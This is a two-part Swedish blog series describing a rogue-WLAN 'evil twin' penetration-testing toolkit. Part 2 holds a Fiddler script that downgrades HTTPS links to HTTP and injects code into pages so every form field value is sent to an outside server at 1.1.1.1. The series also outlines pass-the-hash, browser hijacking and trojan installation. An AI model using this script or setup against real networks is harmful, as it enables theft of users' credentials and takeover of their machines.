Archive

Archive for January, 2007

Vågar du lita på WLAN – Del 2

January 29th, 2007 Comments off

….Som sagt så var det bara att köra igång skapande processen eller kanske plockande processen för det är det det egentligen handlar om, att plocka ihop en massa olika verktyg till att kunna utföra något ordnat med ett visst resultat som följd.


 


Vi börjar med infrastrukturen som består av följande:




  • En dator, helst bärbar så att man kan vara mobil.


  • En virtuell maskin som hostar våra DHCP, Proxy och DNS-tjänster


  • Möjlighet till en internet anslutning via WLAN eller 3G


  • Ett extra WLAN-interface (pccard) för att hantera avlyssningen


  • Lite fantasi och mycket tid 🙂

 


Den virtuella maskinen blev installerad med W2K3 som genast blev av med sin servertjänst och funktionaliteten för netbios och som ersättning fick ett verktyg vid namn Sombi som agera smb server och erbjuder en mycket trevlig variant av passing the ms-chapv2 hash, återkommer om den senare.


 


Den virtuella maskinen agerar DHCP (W2K3 standard DHCP), HTTP Proxy (Fiddler) samt DNS (Netwox).


 


Inga konstigheter med DHCP:n den delar ut lite adresser och skickar alla till vår server för såväl DNS som default gateway.


 


DNS:en fixar vi genom att köra verktyget Netwox och detta för att vi på ett enkelt sätt vill skicka alla till vår server oavsett vad de tänker surfa/ansluta dig till. Med andra ord så är det en i allra högsta grad ond DNS som svarad helt sonika en och samma sak på alla frågor om IP, dvs. den virtuella maskinens IP adress.


 


För att kunna hantera webtrafiken på ett bra sätt och dessutom kunna plocka ut god bitarna från den så har jag valt att använda Fiddler som en transparent proxy. Fiddler är ett verktyg från MS R&D som kan användas för att felsöka HTTP-flöden och som dessutom går utmärkt att använda för att förändra saker och ting i ett HTTP-flödet. Man kan exempelvis skriva om alla headers i valfri riktning göra sök & ersätt på data och lite annat kul.


 


Fiddler erbjuder möjligheten att via C# skript komma åt det data som transporteras mellan klienten och servern mycket snyggt och bekvämt 😉 så jag fixade ett par funktioner som gör bl.a.




  • Konvertera alla HTTPS-länkar i en sida till HTTP inklusive ev. redirects i headers


  • Injicera ett java script i de sidor som användaren får så att man kan använda ett verktyg vid namn XSS-Shell för att fjärrstyra webbläsaren, man kan till exempel surfa via webbläsaren till exempelvis intranätet över ett VPN…


  • Injicera ett java script i de sidor som användaren får så att man får alla användarnamn och lösenord som matas i olika formulär då formulär data skickas med HTTPS, användaren skriver och texten loggas på vår server mycket snyggt.


  • Injicera lite HTML taggar för bilder som sätter igång en SMB-anslutning så att vi kan genomföra en passing the hash attack

 


Nedan följer ev kort version av dessa script


 —————————————————————————————


 if (m_FWDForms && oSession.oResponse.headers.ExistsAndContains(“Content-Type”, “html”)){


  oSession.utilDecodeResponse();


  var oBody = System.Text.Encoding.UTF8.GetString(oSession.responseBodyBytes);


  var oRegEx = /<\/body[^>]*>/gi;


  oBody = oBody.replace(oRegEx, “<img src=\”\” id=\”xxxx-yyyyy\” width=0 height=0></body>”);


  var oRegEx = /<input/gi;


  oBody = oBody.replace(oRegEx, “<input onchange=\”var o = document.getElementById(‘xxxx-yyyyy’); o.src = ‘http://1.1.1.1/’+this.name+’++++’+this.value;\” “);


  oSession.utilSetResponseBody(oBody);


}


 


if (m_NoHTTPS && oSession.oResponse.headers.ExistsAndContains(“Content-Type”, “html”)){


  oSession.utilDecodeResponse();


  var oBody =  System.Text.Encoding.UTF8.GetString(oSession.responseBodyBytes);


  var oRegEx = /https/gi;


  oBody = oBody.replace(oRegEx, “http”);


  oSession.utilSetResponseBody(oBody);


}


—————————————————————————————


 


Ja, jag bifogar det kompletta fiddler skriptet i denna post, men lämnar inga garantier för vad den gör 😉


 


Vi fixar givetvis så att vi har internet access via WLAN 😉 eller 3G, man vill ju inte att “användaren” ska känna sig blåst på det nät han/hon har hamnat i och söka andra 🙁


 


Nu har vi all infrastruktur på plats och nästa steg är at få igång den själv konfigurerande “onda” accesspunkten


 


 


Fortsättningen följer…


 


 


 


 


 


Länkar till verktygen som nämns i denna post




  • Netwox: http://www.laurentconstantin.com/en/netw/netwox/


  • Fiddler: http://www.fiddlertool.com/fiddler/


  • Sombi: Not Published in Public Yet

 

Categories: Uncategorized Tags:

Vågar du lita på WLAN – Del 1

January 7th, 2007 Comments off

Under hösten var jag inblandad i att ta fram en verktygslåda för att i penetrationstestsyfte kunna angripa och utnyttja datorer som är villiga att ansluta sig mot öppna trådlösa nät. Principen för en sådan attack är enkel och kan beskrivas med följande punkter:


1.       Avlyssna närområdet med en lämpligt WLAN-sniffer


2.       Hitta de datorer som letar efter trådlösa nät de varit anslutna till


3.       Sätt upp dessa nät (dynamiskt) med lämpligt infrastruktur


4.       Glöm inte att ha lite verktyg för att avlyssna och ev. manipulera trafiken som går via oss


5.       Installera en agent(trojan) på den drabbade datorn när man ändå är i farten


 


Det finns en mängd olika verktyg som kan åstadkomma punkterna ovan men aldrig något som är komplett och erbjuder hela flödet. Det mesta som finns är dessutom ganska begränsad till ett visst OS och viss hårdvara.


 


Jag fick dessutom ett stycke special önskemål från min kollega Marcus om att man skulle kunna använda Windows som plattfrom för attacken då han ville visa det under IT-Forum 2006.


 


Utmaningen var alltså att göra något som kan erbjuda hela processen med bibehållen funktionalitet för båda angriparen och offret i scenariot och är dessutom tillräckligt flexibel för att kunna köras på olika plattformar.


 


Efter lite diskussioner med kollegorna och en del tankeverksamhet stod det klart för mig vad jag ska använda för verktyg och hur dessa skall modifieras så att målet kan uppnås på enklaste sätt. Jag fastande för följande verktyg:


           Airodump från paketet Aircrack


          En accesspunkt som kan konfigureras via ett webb-UI, gärna någon som kan ha multipla SSID


          En virtuell maskin som klarar av att agera dhcp, dns, router, mitm och transparent proxy för div protokoll


          Fiddler, en httpproxy som är skriptbar


          Sombi, ett attackverktyg för SMB passing the hash


          Netwox, ett verktyg för div mitm attacker och annat nätlekande


 


Att sätta ihop alla dessa verktyg så de funkar tillsammans var nästa mål. Givetvis så börjar man med att testa de olika delmomenten var för sig och när alla moment funkar utan problem så kommer integrationen och då får man ta hand om de problem som uppstår i samband med det.


 


Värt att tillägga att tiden jag hade för att koka ihop detta var bara några dagar, man har ju dessutom kunder, projekt och kurser att sköta om ”dagtid” och då kommer detta vid sidan av men med ganska hög prioritet förstås.


 


Fortsättningen följer…


 

Categories: Uncategorized Tags: